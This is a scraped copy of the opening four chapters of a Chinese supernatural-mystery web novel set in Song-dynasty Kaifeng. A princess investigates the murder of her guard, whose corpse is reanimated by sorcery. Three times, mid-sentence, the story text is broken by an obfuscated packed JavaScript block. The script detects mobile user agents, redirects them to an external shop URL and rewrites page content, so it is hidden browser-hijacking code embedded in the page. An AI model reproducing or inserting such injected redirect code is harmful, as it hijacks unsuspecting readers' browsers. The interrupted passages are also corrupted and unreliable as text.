《汴京妖事》 1. 第 1 章 东京汴梁城,虞部郎中张琢府上。 深夜墨黑浓云弥漫,惊雷滚滚,挟风卷雨,寒意沁人。 数十只红眼黑羽乌鸦盘旋落在青灰屋脊的迦陵频伽边,发出呕哑嘲哳的凄厉叫声。 西厢房灯火摇曳,张家二娘子张乐菱正俯伏叩首在一座九天玄女神像前诚心祷告,虽看起来面色如常,但内心里早已被屋外聒噪的乌啼声搅得心烦意乱。 眼看着已至亥时,仙人允诺要赐予她的夫君还未有半分踪影,张乐菱心中不免有些焦急。 女使春阳掀帘走进内室,看向张乐菱的眼神中略带着一丝同情,“娘子,或许那罗仙观的女冠就是在骗缗钱,就算是仙人,怕是也没法平白给您变个如意郎君出来。” 张乐菱闻言怒从心中起,睁开眼睛,“你知道什么,汴梁城人人都道那罗仙观是最灵验的,既然仙人已经允诺了我,就绝不会食言。” 见张乐菱对那女冠的话深信不疑,春阳便不再开口劝慰了。 虞部郎中张琢家有五个女儿,除了张乐菱之外,个个生的螓首蛾眉,闭月羞花,上门求娶的郎君几乎要踏破了张家门槛。 独独张乐菱面阔细目,鼻梁塌陷,比起那几个姐妹的姿色总显得寡淡不少,因而也总是受到讥讽嘲笑,大娘子甚至放言说张乐菱或许这辈子都无法出阁。 因而张乐菱在听闻罗仙观可以满足一切愿景后,立刻让人驾着马车赶去了外城。 在罗仙观,张乐菱惴惴不安地交予女冠写有生辰八字的罗纹笺,女冠看过后大喜过望,说张乐菱的命格乃是百年难得一遇的九天玄女座下的仙侍,但凡张乐菱有所求,无有不应的。 张乐菱唯一的心愿,便是希望有个丰神俊朗、气度不凡的郎君做郎婿,以借此好好压一压她们那些姐妹的嚣张气焰,女冠说她只消回家静待,今夜子时必有仙人为她送上称心夫君。 廊下悬着的斑竹帘随风卷起,院子里的黄刺玫被落下的雨珠打得花枝乱颤,隔着数道院墙遥遥传来打更的梆子响声,悠悠荡荡。 张乐菱心下一紧,急忙问春阳,“可是子时了?你快离开这里,仙人嘱咐过,不许有旁人在场的。” 春阳应声后只能推门出去,但她并未走远,而是偷偷藏在了连接厅堂与后院的穿廊拐角处。 整个碧玉堂的小厮仆妇都被张乐菱打发走了,可春阳总觉得这件事里外都透着古怪,她不放心把张乐菱自己留在这里。 倏然间,屋内灯烛俱灭,楼阁全然浸入泠泠夜色中。 春阳大气不敢出,只能借着天边的闪电光亮,远远遥望着似乎有一只黑羽乌鸦自檐角飞落至廊下,只眨眼的功夫,那乌鸦就摇身一变成了个身姿挺阔的郎君。 内室灯火再次亮起的一瞬间,那郎君推门进去了房内。 春阳放轻脚步跟了过去,站在窗边透过漏光的罅隙偷偷望向内室,灯影摇曳,她只能瞧见那郎君的背影,对面的张乐菱则是满脸羞涩,手上扯着素帕,听不清在说些什么呢喃细语。 春阳心中纳罕,难不成真的是仙人给张乐菱送来了一个如意郎君? 再抬眸,只看见张乐菱突然神色一僵,直直地仰面倒了下去。 站在窗外的春阳瞳孔骤缩,下意识地“啊!”了一声,又慌忙捂住嘴。 可已经来不及了。 那丰神俊朗的郎君手里拿着刚刚从张乐菱胸口掏出来的滚热的心脏,扭头看向站在窗边的春阳,脸上挂着诡异笑容,鲜血从他的手指缝隙滑落到地上,一滴一滴就像是艳丽的泣血杜鹃。 * 录事巷濯缨居碎碧楼,东京汴梁城城南最富贵逼人的妓院。 女使青窈走进内室,绕过雪景山水红椽座屏,焦急地四处环顾寻找着人群里正在玩关扑的贺兰漪。 屋内吵嚷喧哗,滚沸的水一般,发髻簪着牡丹花的张娘子坐在屏风不远处拉奏着金花蟒南胡,众人围座了好几圈,都在下注叫喊。 郎君打扮的贺兰漪懒散地倚坐在靠窗的一桌,身后左右各陪侍着两个貌美行首,后脖颈上插着把鸦青折扇,右手搭在椅子边,左手抓着一手花牌,正漫不经心地等着对面的江嘉吟出牌。 “快点出啊,等下天都要亮了!”旁边围观的人开口催促着。 黑漆花腿方几上小山似的堆放着贺兰漪熬夜赢来的熙宁通宝、茶引和度牒。 “郡主,”青窈绕过桌椅,费力地挤到贺兰漪身边,俯身在她耳边低语几句,贺兰漪瞬间脸色铁青,掀起眼皮看向青窈,“真的?” 青窈神色凝重地轻轻点了下头。 贺兰漪随即把花牌往桌上一扔,立刻起身,推开人群便急匆匆要走,身后传来江嘉吟的呼喊声,“你钱还没拿呢!” “不要了,就当请你们喝酒!” 贺兰漪从后脖颈里面抽出鸦青折扇,敷衍着向从楼梯对面迎过来说场面话的庆娘点了下头,脚步匆匆地下楼,带着青窈一起坐车离开了碎碧楼。 夜色浓稠似墨,暴雨如注。 朱轮辚辚,马车疾行赶到开封府衙的时候,御史台御院殿中侍御史王家的二郎君王庆凛也已经带人赶了过来。 认出白衣郎君打扮的贺兰漪后,王家众人纷纷叉手行礼,“见过郡主。” 贺兰漪瞥了他们一眼,顾不上听他们寒暄,便快步跑去了开封府衙的左军巡院。 军巡使张千仞看见贺兰漪后慌忙迎了上去,“郡主,您怎么来了。” 廊下悬着的六角横骨灯笼摇摇欲坠,灯影在张千仞脸上打着旋。 贺兰漪瞧了张千仞一眼,并不言语,推开他,脚步加快地走进左手边的停尸房,停在里面唯一的一具尸首前,手指发颤地掀开白布。 躺在这里的干尸俨然就是段如远,皮肤紧皱,毫无光泽,全身的鲜血被抽干,指甲脱落,虽依稀能辨认出模样,但更像个骇人的怪物。 守在外面的卫兵立时便听见了屋内痛彻心扉的哭声。 过了一会儿,贺兰漪眼泪盈盈地从屋里走出来,抬手囫囵擦掉脸上的泪珠,站在大厅里的椅子边,嗓音嘶哑,“这到底是怎么回事!” 张千仞让人把负责打捞的押铺喊了过来,押铺叉手行礼,紧张答道:“启禀郡主,这尸首是不久前船夫从这蔡康河底下给捞出来的,他们报过军巡铺后,我带兵过去,见此人形状诡异,就立刻封锁消息,驱散人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746855|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群,急禀了开封府衙,捞上来的时候这尸首身上挂着一个牙牌,军巡使由此认出了这位似乎是魏国长公主府的侍卫段如远。” 贺兰漪哽咽问:“只有这一具尸体吗?可曾见到王九?” 押铺摇了摇头,“已经让人去打捞了,但尚未有消息。” 说了一圈,都是些无用的废话。 贺兰漪红着眼圈,抬眸看向张千仞,“现在此事是谁在负责?” 张千仞见状让押铺和其他手下先出去了前厅,环顾四周悄声禀报道:“郡主,段郎君死状如此诡异,此事或许是妖邪作乱,国公爷和卫将军如今也不在京中,我已经通报了大理寺,想来马上就会来人了。” “那好,我在这等着那人来,”贺兰漪吸了吸鼻子,抬手抹掉脸上泪珠。 段如远跟了她五年,这件事绝不能随随便便就糊弄过去,她一定要让凶手血债血偿。 张千仞忙低声称是,他侍立在侧,紧张地搓着手,心中暗暗抱怨着这段如远什么时候被捞上来不好,非得趁贺兰漪的兄长贺兰珩之还有卫禇不在京中的时候出这档子事。 幸而他灵机一动把这烫手的山芋抛给了大理寺,不然就依着贺兰漪的性子,若是他查不出个结果来,这位姑奶奶怕是会立时把房顶掀翻。 “可问过王家众人了吗?”贺兰漪哭得脑袋发晕,但也没忘了段如远姑母家这群人。 因为贺兰漪在这里,王家众人被张千仞拦在了院子外面,并没有让他们进来。 张千仞喉结微动,舔了舔干涩的唇瓣,把手下刚送来的香薷熟水递给贺兰漪,殷勤道:“刚刚已经派人过去问询了。” “没什么有用的话,都说自段郎君移府别居后已经好久没有见过他了,最后见到他的还是王家的十三娘子王柳若,但那也已经是半月之前的事了。” “王柳若?”贺兰漪蹙着眉,抿了口茶水,沉思道:“让人把她喊过来,我有话要问她。” 段如远自小父母双亡,一直在北境当兵,五年前立下军功调来汴梁,给贺兰漪做护卫,这个王柳若是跟段如远关系最好的表妹。 张千仞忙吩咐人过去喊人。 外面雨势愈大,轰隆雷声作响,眼看马上就要到寅时了,可大理寺还没有来人的迹象。 张千仞心中不免有些着急,他偷偷走到墙边,打了个哈欠,只盼望着大理寺赶快来人交接案子,这样他也能回家睡个好觉了。 或许是这几天一直熬夜。 张千仞隐约听着停尸房里面似乎有窸窸窣窣的动静,就好像是在穿戴什么东西一样。 因为外面站满了开封府衙的卫兵和魏国长公主府派来护卫贺兰漪的府兵,所以张千仞并没有什么害怕的心思,只以为自己是困糊涂了。 但听见动静的人却不止他一个。 青窈猛然抬头看向东墙关闭的木门,竖起耳朵仔细听了几秒后,确定不是雨声。 转身立刻朝厅外高呼,“来人!护卫郡主!” 几乎是话音落下的同时,停尸房的木门被人从里面用眉尖长刀劈开,木渣飞溅,伴着外面的打雷声在耳边炸裂开来。 “天爷!诈尸了!” 2. 第 2 章 张千仞看清了那凤翅兜鍪下的脸是已经变作干尸的段如远后,大脑一片空白,吓得两腿发软缩在墙角,他在开封府衙办案二十余载,还从未亲眼见过如此骇人之事。 穿着黑漆顺水山文甲的干尸僵硬地转了转脑袋,手里抡着眉尖长刀径直朝跑去厅外的贺兰漪劈了过去,幸而贺兰漪闪身一躲,只剩刀光残影。 魏国长公主府的府兵和开封府衙的卫兵一个接一个地提刀冲上来,想将段如远制服。 但段如远铁钳一般抓住两三个人的胳膊,猛然一个回旋,将他们朝着堆上来的府兵扔了过去,横倒一片。 “快去拿铁网!”张千仞回过神后,匆忙跑出前厅,扬声喊着躺在地上的手下。 随后他也拔出腰间佩刀,朝着段如远追逐贺兰漪的方向奔去,万一贺兰漪出了事,于他而言问题就不是保的保不住乌纱帽了,而是头上这颗脑袋。 “郡主,不对劲,”青窈和一众府兵护着贺兰漪沿着回廊往前跑,“他好像是专门攻击你的!” 廊下的灯笼左摇右晃,贺兰漪还未来得及喘息片刻,一道残影突然从旁边廊柱上悬空闪过,闪着寒光的巨大刀刃急如闪电,落于面前。 “小心!” 贺兰漪眼疾手快往后闪身退了一步,并一把拽住了右手前的青窈,但青窈鬓边的碎发依旧被斩落一绺,飘散在地。 段如远横刀挡在前面,凶煞恶鬼般,拦住了贺兰漪的去路,令人心胆俱寒。 “段如远,你疯了!”贺兰漪不可置信地望着面前的干尸。 可如今的段如远只是被人操控的一具傀儡,哪里还能认出面前是他保护了五年的郡主,他脸上紧巴巴的红色肌肉往上提拉,黑色的眼瞳诡异地从众人脸上扫过,最后锁定在贺兰漪脸上。 他再次提刀朝贺兰漪劈去。 拿着步兵兽头旁牌赶来的府兵和卫兵上前一步,将贺兰漪护在身后,与段如远厮打起来,刀剑铮鸣声不绝于耳。 段如远身上的黑漆顺水山文甲没过多久便被人砍烂,身上也被刺穿好几个血洞。 可他似乎根本感觉不到疼痛,抬腿飞踢踹倒一片,旁牌四散,有的甚至飞落进了旁边的院子里。 在段如远离开回廊,跃于庭院假山上继续提刀追逐贺兰漪时,站在屋脊上的张千仞按刀大喝一声,“放网!” 一张精铁锻造的大网自段如远头顶落下,数个卫兵从屋顶一跃而下,抓着网角交叉锁扣在一起,将段如远牢牢裹住,困在了铁网之中。 张千仞见局面被控制住了,手里按着佩刀,眉飞色舞,心中大喜。 如今救下郡主性命,这可是大功一件!升官发财是跑不了了! 他站在屋脊上正欲向贺兰漪邀功,可不料,转身四处寻找贺兰漪身影时,却意外瞧见廊下有个站在贺兰漪身旁的卫兵正抬手欲将贺兰漪推进身后的池塘里。 “郡主旁边!”当时的张千仞几乎想也没想就从屋顶上跳了下去,落地之后,提刀直奔贺兰漪所在的廊下。 听见张千仞的怒喝声,贺兰漪第一时间闪身后挪左肩,没有被那卫兵碰到,见事情败露,那卫兵索性拔出腰间佩刀,朝着贺兰漪砍去,势必要将她逼落进身后的池塘里不可。 这事发生的太快,守在贺兰漪身旁的府兵还未反应过来,贺兰漪的右胳膊就已经见了血,饶是贺兰漪有些底子,抬手格挡,闪身跳上栏杆躲避,但无奈她全身的修炼经脉被封,武功比起之前差了不是一点半点,敌人又是手持大刀整日训练的开封府军士,她很快就落了下风。 又是一次挥刀,站在栏杆上的贺兰漪为了避开刀刃向后倾身,脚下不稳,眼看着就要跌落进池塘里。 青窈和府兵大惊失色,都急忙冲过来伸手想要抓住贺兰漪,而推落贺兰漪的卫兵脸上却带着诡异的微笑,只差一步就赶过来的张千仞看到这一幕被吓得魂飞魄散,幞头掉在地上都浑然不觉,心情犹如坐过山车般跌宕起伏。 而即将落入飘着绿萍的池塘水里的贺兰漪除了因为身体悬空而产生的巨大失重感恐惧之外,心中只有一个念头。 等她从池塘里出来后,她一定要把那个推她入水的卫兵碎尸万段。 冰凉的雨珠落在额头上,雨水的潮湿气味在鼻尖弥漫,眼前一片朦胧虚影,贺兰漪几乎是下意识地闭上了眼睛。 可三秒过后,她并未感觉到因为溺水带来的呼吸不畅,反而发觉左手手腕被人往后一拉,力挽狂澜般将她从悬空中拽了回来,后腰借势落入了一个有力的臂膀中。 她缓缓睁开眼睛,入目是一张俊美的年轻郎君的脸,两人面对面,距离几乎是近在咫尺,连各自漏拍的心跳声都能听得到。 青窈和其他府兵见贺兰漪没有落水,纷纷松了一口气,其中情绪最激动的人便是飞扑过来的张千仞,他就差眼角没有落泪了,长长地舒了一口气后,乌纱帽得以保住的兴奋之情溢于言表。 贺兰漪眼圈泛红,惊魂未定地站直身子,咳嗽了几声,轻吐一口气稳住心神,眼角余光注意到那年轻郎君。 “你是谁?” 愣怔望着贺兰漪的玄衣郎君垂下眼睫,不紧不慢地叉手施礼,嗓音微微有些发颤,“见过郡主,在下殿前司副都指挥使宋少衡。” 张千仞一开始以为来人是大理寺的,可不料竟是如此大的官,带着人纷纷叉手行礼,“见过管军。” “不知哪位是张巡使?”宋少衡高眉深目,转身神色冷淡地望向众人。 张千仞收回刀,上前一步,紧张道:“正是属下。” 不知道为什么,张千仞心中隐隐有了不太好的预感。 果然。 下一秒,宋少衡从腰间拿出金牙牌,声线冰冷,“太后娘娘口谕,此事全权交由本官负责,开封府、大理寺、审刑院从旁协助。” 完了! 张千仞本以为这个烫手山芋可以抛出去,谁承想又落了回来,这位殿前司的副都指挥使一接手,他就不能随便甩给一等武官,必须事事亲为陪着一起办案。 他偷偷瞥了一眼后面的贺兰漪。 心想也是这个理,身为太后娘娘最宠爱的郡主,她身边的护卫出了事,查案的别说副都指挥使,就是三衙的都指挥使,也是配得上的。 贺兰漪拿素白帕子擦掉额头上雨珠的间隙,刚刚推她入水被府兵按在地上的卫兵突然暴起,不知道从哪里突然来的力气,挣开了禁锢,眼神僵直如同死人一般,又冲着贺兰漪扑了过来。 可就在他要跃起的一瞬间,宋少衡利落地拔出张千仞腰间的佩刀,反手抬刀贯穿了他的后背,将他钉跪在地上。 鲜血溅在宋少衡的脸上,他缓缓直起身,接过手下递来的素帕,漫不经心地擦掉脸上的血渍。 张千仞知道宋少衡是在立威,不过瞧着这位副都指挥使年纪轻轻的模样,怎么出手如此狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几乎是同时,池塘水面突然有了异动,咕嘟咕嘟开始冒泡,不断有黑气从池塘中间的漩涡中逸出,在池塘上空盘旋萦绕,逐渐汇成了一副圆形法阵,其中的诡异图案尤似三头八臂的小鬼。 “这这这……”张千仞手指着池塘,抱着刀,吓得说不出完整的话,“道士,道士,快去找道士……” 宋少衡下意识地抬袖将贺兰漪护在身后,手下捻诀,他腕上戴着的赤金蛇镯立刻化出曜灵剑的真身。 只见那柄周身杀意腾腾的长剑飞到了池塘上空,发出铮铮响声,然后以极快的速度插进了那圆形法阵中央,只听得轰隆一声,天边的惊雷沿着刚刚曜灵剑落下的轨迹直直地劈进池塘里。 那些升腾的黑气瞬间发出痛苦哀嚎的叫喊声。 因为宋少衡站在贺兰漪身前,施术为她挡住了池塘里炸出来的水,所以贺兰漪、青窈还有站的稍靠后一些的府兵卫兵都没事。 “哕!”头发都被打湿了的张千仞咂了咂嘴,池塘水又腥又臭,他刚刚还在因为宋少衡施术震惊地张大了嘴巴,正好灌了一嘴脏水。 “管军,您动手也提前告诉我一声啊,”张千仞扶着廊柱,胃里又阵阵翻涌,“哕!” “去找几个水性好的下去,以刚刚落剑的地方为中心,让他们去找找东南西北四个角是否有人头骷髅,”宋少衡转身嘱咐着殿前司的手下。 “你会道术?”贺兰漪对面前这人更好奇了。 3. 第 3 章 她自小在太后身边长大,殿前司的那几个官员大都见过面,这个宋少衡是个她从未听说过的生面孔,这么年轻就能是从四品,在殿前司担任要职,实在是让人不得不高看一眼。 如今瞧着这人还会驱邪之术,怕是大有来头。 “嗯,”宋少衡点了点头,他本来想继续维持着冷漠的姿态,可当他的视线再次落在贺兰漪流血的右胳膊上时,他发觉自己根本没有办法不在意。 他转身看了眼身旁的宋巍,冷声道:“大夫怎么还没来?让人去催一催。” 刚刚实在是太混乱,青窈只时刻注意着地上那发疯的卫兵的举动,精神紧绷并没有发觉贺兰漪右胳膊上的伤势。 青窈正欲从衣裙上撕下来布条先给贺兰漪绑住伤口,不料宋少衡先她一步,毫不顾惜地撕了身上华贵的玄英寺绫鹤纹交领衫。 “郡主,您的伤口需要先处理,”宋少衡本欲抬手给贺兰漪绑住伤口止血,但拿着布条的手又收了回去,递给了旁边的青窈,“劳烦娘子。” 随后命令旁边的卫兵府兵都侧过身去,连带着他一起等青窈给贺兰漪绑好了胳膊才又转了回来。 另一边,哕得奄奄一息的张千仞意图试探一下宋少衡的道术到底有多厉害,否则若是个半吊子抓不住凶手,到时候太后和官家发难,他也跟着受连累。 “管军,您竟有如此的神通,”张千仞拿帕子捂着嘴角,凑过身来,打探道:“不知您的道术师从何人啊?” “想知道?”宋少衡瞥了他一眼。 张千仞点了点头,满眼探究的意味。 旁边殿前司的手下宋巍冷淡开口,“你什么时候做了权开封府事就能知道我们副都指挥使师从何人了。” 张千仞闻言,心下一凉,慌忙开口向贺兰漪解释,“郡主,属下可万万没有过这种心思啊!” 毕竟现今的权开封府事是贺兰漪的兄长贺兰珩之,这些闲言碎语若是落进贺兰珩之的耳朵里,张千仞想着定然会影响自己的仕途。 贺兰漪瞧了他一眼,并不搭理他。 去池塘里搜寻的人没一会儿就在东南西北四个方位摸到了人骨骷髅头,放在木盘里端过来,腥臭无比。 张千仞刚闻见这味道,又忍不住转身去吐了。 宋少衡眸色一沉,让人翻过来骷髅头看了眼下颌骨,果然是有鲜明的十字刻痕。 “如何?”贺兰漪捂着鼻子问道。 宋少衡抬手召回曜灵剑,那长剑又化作蛇形赤金镯附在了宋少衡腕上,他让人先把骷髅头拿下去,刚想开口跟贺兰漪说明此事。 “救命啊!” 女人的尖叫声再次打破了开封府衙寂静的深夜。 贺兰漪心下暗道不好,飞快地朝左军巡院的侧院跑了过去。 宋少衡带人追上。 果然,地上的铁网被硬生生撕裂出一个大口子,地上躺着七八个晕倒的开封府衙的卫兵。 地上的雨水和着鲜血,流进假山旁的水池里。 “郡主,求您救救我!” 面白如纸、弱柳扶风的王家十三娘子王柳若被段如远从背后掐住脖颈,站在月洞门前。 宋少衡欲让人上前制服段如远。 “不要伤到王家娘子!”贺兰漪面沉如水。 话音刚落,只听见尖锐的破空声,段如远瞬间被神臂弓射出的铁箭箭镞洞穿了脑袋,一张用血画就的黄符直愣愣糊在他头上,就此僵在原地无法动弹了。 贺兰漪扭头看向身旁手持弓*弩的宋少衡,他神色冷淡,似乎杀人于他而言不过是同吃饭、喝水一样的寻常事。 “娘子,你怎么样?”匆匆赶来的王家女使薰儿小心翼翼地问着刚刚摆脱了段如远禁锢的王柳若。 王柳若瘫坐在廊下的石凳上,面露惊惶,看了一眼身旁已经变作干尸的表兄,不由得捂面嚎啕大哭起来。 “王家娘子,节哀,”宋少衡把神臂弓交给手下,走上台阶,冷漠问道:“不知你近日里可曾见过段郎君?” 王柳若本就体弱,如今一惊一吓,又吹了凉风,刚张嘴便撕心裂肺地咳嗽起来,娇娇柔柔,惹人怜爱。 贺兰漪走到她身旁,让人去端了杯热茶过来。 “郡主,我阿兄,我阿兄怎么会变成这样?”王柳若脸上落下两行清泪,眉宇间凝着化不开的悲伤。 “等下会有人告诉娘子整件事的来龙去脉,”贺兰漪着急问道:“你近日里可察觉到段如远有什么异常吗?” 王柳若接过热茶,看了眼院中匆匆冒雨赶来的张千仞,软语道:“刚刚我已经跟开封府的张巡使说过此事了,我最后一次见到表兄还是半月前他回家探望姑母,但表兄离去的匆忙,我俩只打了个照面,都未曾来得及说上两句话,那时候的表兄也瞧不出什么不一样来。” “只不过,”王柳若蹙着眉头,握着青瓷茶盏的指尖泛白,“大约是五天前,我曾让薰儿去给阿兄送些吃食,王九在家,告诉薰儿说竹影阁的雪卿娘子似乎有些不对劲,阿兄近日里一直在关注她的行踪。” 贺兰漪喃喃重复,“雪卿娘子?” 王柳若微微颔首,抿着唇,犹豫地悄声道:“王九说,说雪卿娘子是妖怪。” 贺兰漪看向宋少衡。 “我马上让人去竹影阁传唤此人,”宋少衡扭头嘱咐着宋巍,”她若此时在竹影阁,那便将她召来,若是不在,便立刻封锁,不许任何人出入。” 宋巍领命带人离去,正好与廊下匆匆赶来的大夫擦肩而过。 贺兰漪去处理伤口的间隙,宋少衡检查了段如远干瘪的尸体,从他右胳膊伤口处找到了一只已死的金色蛊虫尸体。 又带人回去了那中邪袭击贺兰漪的卫兵身边,刚刚卫兵暴起的时候,宋少衡之前便发觉到这人已经没了呼吸,不过是一具遭人控制的行尸走肉而已。 他半蹲下身,伸出手,腕间的赤金蛇镯突然活了过来,蛇身逐渐覆上卫兵的肩膀,尖牙咬下去穿透盔甲,扎入毫无生机的苍白血肉里。 没一会儿,一只金色蛊虫从伤口里冒出头,被宋少衡捏住脊骨,端详了一会儿,放进了腰间的织金乾坤袋里。 张千仞好奇地凑过去看了眼,“管军,这是何物啊?” “一只小虫而已,不是什么紧要东西,”宋少衡缓缓抬起眼帘,薄唇微动,“这卫兵是何底细?” “此人名叫贺志,乃是左军巡院的一等武官,平日里便负责护卫停尸房附近的安全,”张千仞答道。 “负责护卫停尸房附近的安全?那也就是说他有机会把甲胄和长刀放在段如远身边。”宋少衡眸色幽深,略沉吟道。 张千仞点了点头,“有这个条件,还有这个池塘,是前往停尸房的必经之地,他日日都会从此经过,在晚上趁着府衙巡卫交接的空隙把骷髅头放进去也是很容易的。” 一个二等武官突然站出来,“启禀管军、巡使,我前天晚上亲眼瞧见贺志请保管军械库钥匙的老何在樊楼吃酒来着,怕是早有预谋。” “把老何喊来,”宋少衡看向张千仞,“还有,不知这贺志平日里可修习过道术?” “据我所知是没有的,他要是有那本事怕是早就升官去大理寺了,哪还能在这呆着当个小武官啊,”张千仞转头又把和府衙中贺志交好的文吏也喊了过来。 被连夜喊过来的文吏惊觉出了大事,一路提心吊胆地走过来,还没瞧见身旁被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746857|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钉死在廊下的人是贺志,就扑通一声跪在地上,头也不敢抬。 “启禀管军,我和贺志住隔墙,平日里他回家后不是吃酒就是练刀,再者就是去找赶牛巷的张寡妇,他大字也不识几个,从没听说过他修道,只不过,他近日里似乎发了一笔横财,出手比以往阔绰了不少。” 后一步赶来的负责保管军械库钥匙的老何也证实了贺志请他喝酒的事,与此同时,另一个负责保管钥匙的小吏打开库门发现果然少了一套盔甲和砍刀,正是段如远身上的那一套。 “王家娘子回去了?”贺兰漪看了眼大夫撒在自己胳膊刀伤伤口处的药粉,忍着痛,抬眸问青窈。 青窈点了点头,“宋管军说案件还未查明,不宜让王家人领回尸首,便让他们先回去了。” 大夫给贺兰漪包扎好后退了出去。 “同钰可在外面?”贺兰漪收回僵直的右胳膊,朝青窈招了招手。 青窈立刻明白了贺兰漪的意思,走过来悄声道:“他听到这边出事的消息就赶过来了,外面还有一个叫宋安的殿前司侍卫,估摸着是那位副都指挥使的亲信。” “你让同钰等天亮之后派人进宫一趟,打听清楚这个宋少衡的底细,不知道为什么,我总觉得好像之前见过他似的,但又没有多少印象,记不太清了。” 宋少衡带人过来见贺兰漪的时候,一并带来了竹影阁的消息,“那位雪卿娘子说是三日前就已经消失不见,属下让人去湖州调查她的身份了。” “三日前?”贺兰漪眉毛蹙成了一团,抬眸看向宋少衡,“段如远也是三日前回家休沐,自那天起便没有音信了。” “郡主是否还知道其他的内情?”宋少衡温声问道。 贺兰漪眼圈依旧是红红的,她眨了眨睫羽,“雪卿娘子与段如远同是湖州人,因我之前常去竹影阁喝酒,段如远陪着我同行,一来二去,大家便成了熟识,认识了有半年左右。” “段如远有些喜欢雪卿娘子,他本该今日休沐,但提前了三天,大约是为了要给雪卿娘子过生辰,我那日事忙,并没有过去,从那天之后,段如远就没了踪影,他身边还有个小厮名叫王九,也一起消失了。” 其实,贺兰漪那天并非事忙没有去竹影阁,而是因为想要追着卫胥调防去蔚州遭到太后训诫,被关在承福宫抄经。 但这种事,她自然不能说与宋少衡听。 “郡主,天快要亮了,您熬了一夜,胳膊又受了伤,不妨先回去府去休息片刻,”宋少衡静静地听完贺兰漪的话,侧脸看了眼仍在下雨的窗外,温声劝慰道:“但凡有了新消息,我会立马让人去长公主府告知您的。” 折腾了一夜,贺兰漪也是有些疲乏,她起身准备回魏国长公主府,但往前走了两步又折了回来,抬眸看向宋少衡,犹豫片刻,“你若是找到了雪卿娘子,能留活口就尽量留活口。” 宋少衡点了点头,“属下明白。” 未免引起汴梁城百姓恐慌,今夜开封府衙诈尸之事被瞒了下来,又因为今夜有人意图谋害贺兰漪,宋少衡让宋安调了八十禁军精锐护送贺兰漪回府,跟魏国长公主府的府兵配合,在未找到凶手之前,护卫贺兰漪。 “郡主,不管是变成干尸的段郎君还是那个开封府的卫兵,明显就是冲着您来的啊。”坐在马车里的青窈满脸的担心。 贺兰漪用左手揉了揉眉心,打了个哈欠,不以为意道:“同钰和那个殿前司叫宋安的寸步不离地守着我,咱们府上又有母亲之前设下的法阵,想来应该不会出事吧。” 青窈皱着眉头,垂眸看了眼贺兰漪右胳膊上的伤,环顾四周,在贺兰漪耳边低语道:“可若真的像王家娘子所说,汴梁城出了妖怪呢?” 4. 第 4 章 贺兰漪秀眉微蹙,不屑道:“哼!妖怪,你什么时候见过本郡主怕那些东西。” 折腾了一夜,贺兰漪回到魏国长公主府后,躺在床上,没多久便酣然昏睡过去。 等她睡醒,已经是下午的光景了,外面的雨依旧淅淅沥沥地下着,青窈进屋的时候带来了一身的凉气。 “郡主,同钰打听到消息了。” 青窈帮刚睡醒的贺兰漪穿上一件粉白色宽袖莲花纹襦裙,平日鹅黄色的披帛也换成了淡雅的浅黄色。 “他是怎么说的?”贺兰漪揉了揉有些浮肿的眼睛,心情依旧沉重,她懒懒地坐在玫瑰椅上,由着青窈帮她梳了个小盘髻。 “这位宋管军是尚书右仆射兼中书侍郎宋知羲家的二郎君,大约半月前刚回来汴梁。” “二郎君?”贺兰漪蹙着眉,闭眼左手摁压着太阳穴,“宋知羲家的老二不是个不学无术的纨绔吗?这个宋少衡又是哪位?” 青窈往贺兰漪发髻上簪了一根白珠海棠凤纹金钗,悄声道:“您忘了,宋知羲在应天府做知应天府事时曾有过一位正妻。” 镜台上的菱花蝙蝠纹铜镜里映出的贺兰漪眼睫微动,轻咳了两声,骤然想起了这桩母亲曾经告诉过她的陈年旧事。 说是那时候的宋知羲即便要被族谱除名,也要娶应天府的一个孤女为妻,可惜那娘子在生下一个儿子后便撒手人寰,宋知羲后来被调回汴梁又娶了一位世家大族离异的女儿,那个儿子就留在了应天府养着,对外说因为体弱还入了道观修行。 “是了,”贺兰漪拿起桌上的温水抿了口,或许是因为昨夜喝药的缘故,她嘴里依旧苦涩,“怪不得他会道术呢。” “他是在哪修行的?” “应天府太一宫慈济道君身边。” “那老头的确修为高深,”贺兰漪记得那位慈济道君还曾与她母亲是好友,不过自她母亲五年前去世后,那位道君就再没踏入汴梁一步了,“不过,宋少衡身上既无政绩,又无军功,皇祖母和舅父怎么会给他这么高的职位?副都指挥使,那可是禁军数一数二的高位啊。” “这个,同钰倒是没打听出来,张公公只说是官家亲自过问的,太后也同意。” 贺兰漪有些不服气地撇了撇嘴,“宋少衡这么轻松就做了副都指挥使,卫胥的父亲可是为国战死的,但卫胥如今却只是个营中副将,还必须得去蔚州戍边,这世上之事真是不公平。” “卫胥是东宫太子的人,太后不喜姚贵妃和太子,自然连带着也不喜欢卫将军,更何况,卫胥的父亲当年不过是国公身边的一个陪戎校尉,他母亲又是个洗衣婢,您与他之间简直是天壤之别,太后自然不会同意您与他在一处。” 